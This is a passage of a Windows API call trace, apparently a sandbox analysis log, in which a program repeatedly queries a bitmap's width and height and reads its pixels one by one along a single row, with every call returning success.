0x0 [0032.144] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.144] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.144] GdipBitmapGetPixel (bitmap=0x1272230, x=142, y=308, color=0x30e800) returned 0x0 [0032.144] GetLastError () returned 0x0 [0032.145] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.145] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.145] GdipBitmapGetPixel (bitmap=0x1272230, x=143, y=308, color=0x30e800) returned 0x0 [0032.145] GetLastError () returned 0x0 [0032.145] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.145] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.145] GdipBitmapGetPixel (bitmap=0x1272230, x=144, y=308, color=0x30e800) returned 0x0 [0032.145] GetLastError () returned 0x0 [0032.145] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.145] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.145] GdipBitmapGetPixel (bitmap=0x1272230, x=145, y=308, color=0x30e800) returned 0x0 [0032.145] GetLastError () returned 0x0 [0032.145] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.145] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.145] GdipBitmapGetPixel (bitmap=0x1272230, x=146, y=308, color=0x30e800) returned 0x0 [0032.145] GetLastError () returned 0x0 [0032.145] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.145] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.145] GdipBitmapGetPixel (bitmap=0x1272230, x=147, y=308, color=0x30e800) returned 0x0 [0032.145] GetLastError () returned 0x0 [0032.145] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.145] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.145] GdipBitmapGetPixel (bitmap=0x1272230, x=148, y=308, color=0x30e800) returned 0x0 [0032.145] GetLastError () returned 0x0 [0032.145] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.145] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.145] GdipBitmapGetPixel (bitmap=0x1272230, x=149, y=308, color=0x30e800) returned 0x0 [0032.145] GetLastError () returned 0x0 [0032.145] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.145] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.145] GdipBitmapGetPixel (bitmap=0x1272230, x=150, y=308, color=0x30e800) returned 0x0 [0032.145] GetLastError () returned 0x0 [0032.145] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.145] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.145] GdipBitmapGetPixel (bitmap=0x1272230, x=151, y=308, color=0x30e800) returned 0x0 [0032.145] GetLastError () returned 0x0 [0032.145] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.146] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.146] GdipBitmapGetPixel (bitmap=0x1272230, x=152, y=308, color=0x30e800) returned 0x0 [0032.146] GetLastError () returned 0x0 [0032.146] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.146] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.146] GdipBitmapGetPixel (bitmap=0x1272230, x=153, y=308, color=0x30e800) returned 0x0 [0032.146] GetLastError () returned 0x0 [0032.146] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.146] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.146] GdipBitmapGetPixel (bitmap=0x1272230, x=154, y=308, color=0x30e800) returned 0x0 [0032.146] GetLastError () returned 0x0 [0032.146] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.146] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.146] GdipBitmapGetPixel (bitmap=0x1272230, x=155, y=308, color=0x30e800) returned 0x0 [0032.146] GetLastError () returned 0x0 [0032.146] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.146] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.146] GdipBitmapGetPixel (bitmap=0x1272230, x=156, y=308, color=0x30e800) returned 0x0 [0032.146] GetLastError () returned 0x0 [0032.146] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.146] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.146] GdipBitmapGetPixel (bitmap=0x1272230, x=157, y=308, color=0x30e800) returned 0x0 [0032.146] GetLastError () returned 0x0 [0032.146] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.146] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.146] GdipBitmapGetPixel (bitmap=0x1272230, x=158, y=308, color=0x30e800) returned 0x0 [0032.146] GetLastError () returned 0x0 [0032.146] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.146] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.146] GdipBitmapGetPixel (bitmap=0x1272230, x=159, y=308, color=0x30e800) returned 0x0 [0032.146] GetLastError () returned 0x0 [0032.146] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.146] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.146] GdipBitmapGetPixel (bitmap=0x1272230, x=160, y=308, color=0x30e800) returned 0x0 [0032.146] GetLastError () returned 0x0 [0032.146] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.146] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.147] GdipBitmapGetPixel (bitmap=0x1272230, x=161, y=308, color=0x30e800) returned 0x0 [0032.147] GetLastError () returned 0x0 [0032.147] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.147] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.147] GdipBitmapGetPixel (bitmap=0x1272230, x=162, y=308, color=0x30e800) returned 0x0 [0032.147] GetLastError () returned 0x0 [0032.147] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.147] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.147] GdipBitmapGetPixel (bitmap=0x1272230, x=163, y=308, color=0x30e800) returned 0x0 [0032.147] GetLastError () returned 0x0 [0032.147] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.147] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.147] GdipBitmapGetPixel (bitmap=0x1272230, x=164, y=308, color=0x30e800) returned 0x0 [0032.147] GetLastError () returned 0x0 [0032.147] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.147] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.147] GdipBitmapGetPixel (bitmap=0x1272230, x=165, y=308, color=0x30e800) returned 0x0 [0032.147] GetLastError () returned 0x0 [0032.147] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.147] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.147] GdipBitmapGetPixel (bitmap=0x1272230, x=166, y=308, color=0x30e800) returned 0x0 [0032.147] GetLastError () returned 0x0 [0032.147] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.147] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.147] GdipBitmapGetPixel (bitmap=0x1272230, x=167, y=308, color=0x30e800) returned 0x0 [0032.147] GetLastError () returned 0x0 [0032.147] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.147] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.147] GdipBitmapGetPixel (bitmap=0x1272230, x=168, y=308, color=0x30e800) returned 0x0 [0032.147] GetLastError () returned 0x0 [0032.147] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.147] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.147] GdipBitmapGetPixel (bitmap=0x1272230, x=169, y=308, color=0x30e800) returned 0x0 [0032.147] GetLastError () returned 0x0 [0032.147] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.147] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.147] GdipBitmapGetPixel (bitmap=0x1272230, x=170, y=308, color=0x30e800) returned 0x0 [0032.148] GetLastError () returned 0x0 [0032.148] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.148] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.148] GdipBitmapGetPixel (bitmap=0x1272230, x=171, y=308, color=0x30e800) returned 0x0 [0032.148] GetLastError () returned 0x0 [0032.148] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.148] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.148] GdipBitmapGetPixel (bitmap=0x1272230, x=172, y=308, color=0x30e800) returned 0x0 [0032.148] GetLastError () returned 0x0 [0032.148] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.148] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.148] GdipBitmapGetPixel (bitmap=0x1272230, x=173, y=308, color=0x30e800) returned 0x0 [0032.148] GetLastError () returned 0x0 [0032.148] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.148] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.148] GdipBitmapGetPixel (bitmap=0x1272230, x=174, y=308, color=0x30e800) returned 0x0 [0032.148] GetLastError () returned 0x0 [0032.148] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.148] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.148] GdipBitmapGetPixel (bitmap=0x1272230, x=175, y=308, color=0x30e800) returned 0x0 [0032.148] GetLastError () returned 0x0 [0032.148] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.148] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.148] GdipBitmapGetPixel (bitmap=0x1272230, x=176, y=308, color=0x30e800) returned 0x0 [0032.148] GetLastError () returned 0x0 [0032.148] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.148] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.148] GdipBitmapGetPixel (bitmap=0x1272230, x=177, y=308, color=0x30e800) returned 0x0 [0032.148] GetLastError () returned 0x0 [0032.148] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.148] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.148] GdipBitmapGetPixel (bitmap=0x1272230, x=178, y=308, color=0x30e800) returned 0x0 [0032.148] GetLastError () returned 0x0 [0032.148] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.148] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.148] GdipBitmapGetPixel (bitmap=0x1272230, x=179, y=308, color=0x30e800) returned 0x0 [0032.148] GetLastError () returned 0x0 [0032.148] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.149] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.149] GdipBitmapGetPixel (bitmap=0x1272230, x=180, y=308, color=0x30e800) returned 0x0 [0032.149] GetLastError () returned 0x0 [0032.149] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.149] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.149] GdipBitmapGetPixel (bitmap=0x1272230, x=181, y=308, color=0x30e800) returned 0x0 [0032.149] GetLastError () returned 0x0 [0032.149] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.149] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.149] GdipBitmapGetPixel (bitmap=0x1272230, x=182, y=308, color=0x30e800) returned 0x0 [0032.149] GetLastError () returned 0x0 [0032.149] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.149] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.149] GdipBitmapGetPixel (bitmap=0x1272230, x=183, y=308, color=0x30e800) returned 0x0 [0032.149] GetLastError () returned 0x0 [0032.149] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.149] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.149] GdipBitmapGetPixel (bitmap=0x1272230, x=184, y=308, color=0x30e800) returned 0x0 [0032.149] GetLastError () returned 0x0 [0032.149] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.149] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.149] GdipBitmapGetPixel (bitmap=0x1272230, x=185, y=308, color=0x30e800) returned 0x0 [0032.149] GetLastError () returned 0x0 [0032.149] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.149] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.149] GdipBitmapGetPixel (bitmap=0x1272230, x=186, y=308, color=0x30e800) returned 0x0 [0032.149] GetLastError () returned 0x0 [0032.149] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.150] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.150] GdipBitmapGetPixel (bitmap=0x1272230, x=187, y=308, color=0x30e800) returned 0x0 [0032.150] GetLastError () returned 0x0 [0032.150] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.150] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.150] GdipBitmapGetPixel (bitmap=0x1272230, x=188, y=308, color=0x30e800) returned 0x0 [0032.150] GetLastError () returned 0x0 [0032.150] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.150] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.150] GdipBitmapGetPixel (bitmap=0x1272230, x=189, y=308, color=0x30e800) returned 0x0 [0032.150] GetLastError () returned 0x0 [0032.150] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.150] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.150] GdipBitmapGetPixel (bitmap=0x1272230, x=190, y=308, color=0x30e800) returned 0x0 [0032.150] GetLastError () returned 0x0 [0032.150] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.150] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.150] GdipBitmapGetPixel (bitmap=0x1272230, x=191, y=308, color=0x30e800) returned 0x0 [0032.150] GetLastError () returned 0x0 [0032.150] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.150] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.150] GdipBitmapGetPixel (bitmap=0x1272230, x=192, y=308, color=0x30e800) returned 0x0 [0032.150] GetLastError () returned 0x0 [0032.150] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.150] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.150] GdipBitmapGetPixel (bitmap=0x1272230, x=193, y=308, color=0x30e800) returned 0x0 [0032.150] GetLastError () returned 0x0 [0032.150] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.150] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.150] GdipBitmapGetPixel (bitmap=0x1272230, x=194, y=308, color=0x30e800) returned 0x0 [0032.150] GetLastError () returned 0x0 [0032.150] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.150] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.150] GdipBitmapGetPixel (bitmap=0x1272230, x=195, y=308, color=0x30e800) returned 0x0 [0032.150] GetLastError () returned 0x0 [0032.150] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.150] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.150] GdipBitmapGetPixel (bitmap=0x1272230, x=196, y=308, color=0x30e800) returned 0x0 [0032.151] GetLastError () returned 0x0 [0032.151] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.151] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.151] GdipBitmapGetPixel (bitmap=0x1272230, x=197, y=308, color=0x30e800) returned 0x0 [0032.151] GetLastError () returned 0x0 [0032.151] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.151] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.151] GdipBitmapGetPixel (bitmap=0x1272230, x=198, y=308, color=0x30e800) returned 0x0 [0032.151] GetLastError () returned 0x0 [0032.151] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.151] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.151] GdipBitmapGetPixel (bitmap=0x1272230, x=199, y=308, color=0x30e800) returned 0x0 [0032.151] GetLastError () returned 0x0 [0032.151] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.151] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.151] GdipBitmapGetPixel (bitmap=0x1272230, x=200, y=308, color=0x30e800) returned 0x0 [0032.151] GetLastError () returned 0x0 [0032.151] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.151] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.151] GdipBitmapGetPixel (bitmap=0x1272230, x=201, y=308, color=0x30e800) returned 0x0 [0032.151] GetLastError () returned 0x0 [0032.151] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.151] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.151] GdipBitmapGetPixel (bitmap=0x1272230, x=202, y=308, color=0x30e800) returned 0x0 [0032.151] GetLastError () returned 0x0 [0032.151] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.151] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.151] GdipBitmapGetPixel (bitmap=0x1272230, x=203, y=308, color=0x30e800) returned 0x0 [0032.151] GetLastError () returned 0x0 [0032.151] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.151] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.151] GdipBitmapGetPixel (bitmap=0x1272230, x=204, y=308, color=0x30e800) returned 0x0 [0032.151] GetLastError () returned 0x0 [0032.151] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.151] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.151] GdipBitmapGetPixel (bitmap=0x1272230, x=205, y=308, color=0x30e800) returned 0x0 [0032.151] GetLastError () returned 0x0 [0032.152] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.152] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.152] GdipBitmapGetPixel (bitmap=0x1272230, x=206, y=308, color=0x30e800) returned 0x0 [0032.152] GetLastError () returned 0x0 [0032.152] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.152] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.152] GdipBitmapGetPixel (bitmap=0x1272230, x=207, y=308, color=0x30e800) returned 0x0 [0032.152] GetLastError () returned 0x0 [0032.152] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.152] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.152] GdipBitmapGetPixel (bitmap=0x1272230, x=208, y=308, color=0x30e800) returned 0x0 [0032.152] GetLastError () returned 0x0 [0032.152] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.152] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.152] GdipBitmapGetPixel (bitmap=0x1272230, x=209, y=308, color=0x30e800) returned 0x0 [0032.152] GetLastError () returned 0x0 [0032.152] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.152] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.152] GdipBitmapGetPixel (bitmap=0x1272230, x=210, y=308, color=0x30e800) returned 0x0 [0032.152] GetLastError () returned 0x0 [0032.152] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.152] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.152] GdipBitmapGetPixel (bitmap=0x1272230, x=211, y=308, color=0x30e800) returned 0x0 [0032.152] GetLastError () returned 0x0 [0032.152] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.152] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.152] GdipBitmapGetPixel (bitmap=0x1272230, x=212, y=308, color=0x30e800) returned 0x0 [0032.152] GetLastError () returned 0x0 [0032.152] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.152] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.152] GdipBitmapGetPixel (bitmap=0x1272230, x=213, y=308, color=0x30e800) returned 0x0 [0032.152] GetLastError () returned 0x0 [0032.152] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.152] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.152] GdipBitmapGetPixel (bitmap=0x1272230, x=214, y=308, color=0x30e800) returned 0x0 [0032.152] GetLastError () returned 0x0 [0032.152] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.152] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.153] GdipBitmapGetPixel (bitmap=0x1272230, x=215, y=308, color=0x30e800) returned 0x0 [0032.153] GetLastError () returned 0x0 [0032.153] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.153] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.153] GdipBitmapGetPixel (bitmap=0x1272230, x=216, y=308, color=0x30e800) returned 0x0 [0032.153] GetLastError () returned 0x0 [0032.153] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.153] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.153] GdipBitmapGetPixel (bitmap=0x1272230, x=217, y=308, color=0x30e800) returned 0x0 [0032.153] GetLastError () returned 0x0 [0032.153] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.153] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.153] GdipBitmapGetPixel (bitmap=0x1272230, x=218, y=308, color=0x30e800) returned 0x0 [0032.153] GetLastError () returned 0x0 [0032.153] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.153] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.153] GdipBitmapGetPixel (bitmap=0x1272230, x=219, y=308, color=0x30e800) returned 0x0 [0032.153] GetLastError () returned 0x0 [0032.153] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.153] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.153] GdipBitmapGetPixel (bitmap=0x1272230, x=220, y=308, color=0x30e800) returned 0x0 [0032.153] GetLastError () returned 0x0 [0032.153] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.153] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.153] GdipBitmapGetPixel (bitmap=0x1272230, x=221, y=308, color=0x30e800) returned 0x0 [0032.153] GetLastError () returned 0x0 [0032.153] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.153] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.153] GdipBitmapGetPixel (bitmap=0x1272230, x=222, y=308, color=0x30e800) returned 0x0 [0032.153] GetLastError () returned 0x0 [0032.153] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.153] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.153] GdipBitmapGetPixel (bitmap=0x1272230, x=223, y=308, color=0x30e800) returned 0x0 [0032.153] GetLastError () returned 0x0 [0032.153] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.153] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.153] GdipBitmapGetPixel (bitmap=0x1272230, x=224, y=308, color=0x30e800) returned 0x0 [0032.154] GetLastError () returned 0x0 [0032.154] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.154] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.154] GdipBitmapGetPixel (bitmap=0x1272230, x=225, y=308, color=0x30e800) returned 0x0 [0032.154] GetLastError () returned 0x0 [0032.154] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.154] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.154] GdipBitmapGetPixel (bitmap=0x1272230, x=226, y=308, color=0x30e800) returned 0x0 [0032.154] GetLastError () returned 0x0 [0032.154] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.154] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.154] GdipBitmapGetPixel (bitmap=0x1272230, x=227, y=308, color=0x30e800) returned 0x0 [0032.154] GetLastError () returned 0x0 [0032.154] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.154] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.154] GdipBitmapGetPixel (bitmap=0x1272230, x=228, y=308, color=0x30e800) returned 0x0 [0032.154] GetLastError () returned 0x0 [0032.154] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.154] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.154] GdipBitmapGetPixel (bitmap=0x1272230, x=229, y=308, color=0x30e800) returned 0x0 [0032.154] GetLastError () returned 0x0 [0032.154] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.154] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.154] GdipBitmapGetPixel (bitmap=0x1272230, x=230, y=308, color=0x30e800) returned 0x0 [0032.154] GetLastError () returned 0x0 [0032.154] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.154] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.154] GdipBitmapGetPixel (bitmap=0x1272230, x=231, y=308, color=0x30e800) returned 0x0 [0032.154] GetLastError () returned 0x0 [0032.154] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.154] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.154] GdipBitmapGetPixel (bitmap=0x1272230, x=232, y=308, color=0x30e800) returned 0x0 [0032.154] GetLastError () returned 0x0 [0032.154] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.154] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.154] GdipBitmapGetPixel (bitmap=0x1272230, x=233, y=308, color=0x30e800) returned 0x0 [0032.154] GetLastError () returned 0x0 [0032.155] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.155] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.155] GdipBitmapGetPixel (bitmap=0x1272230, x=234, y=308, color=0x30e800) returned 0x0 [0032.155] GetLastError () returned 0x0 [0032.155] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.155] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.155] GdipBitmapGetPixel (bitmap=0x1272230, x=235, y=308, color=0x30e800) returned 0x0 [0032.155] GetLastError () returned 0x0 [0032.155] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.155] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.155] GdipBitmapGetPixel (bitmap=0x1272230, x=236, y=308, color=0x30e800) returned 0x0 [0032.155] GetLastError () returned 0x0 [0032.155] GdipGetImageWidth (image=0x1272230, width=0x30e7f0) returned 0x0 [0032.155] GdipGetImageHeight (image=0x1272230, height=0x30e7f0) returned 0x0 [0032.155] GdipBitmapGetPixel (bitmap=0x1272230, x=237, y=308, color=0x30e800) returned 0x0 [0032.155] GetLastError () returned 0x0 [0032.155] GdipGetImageWidth 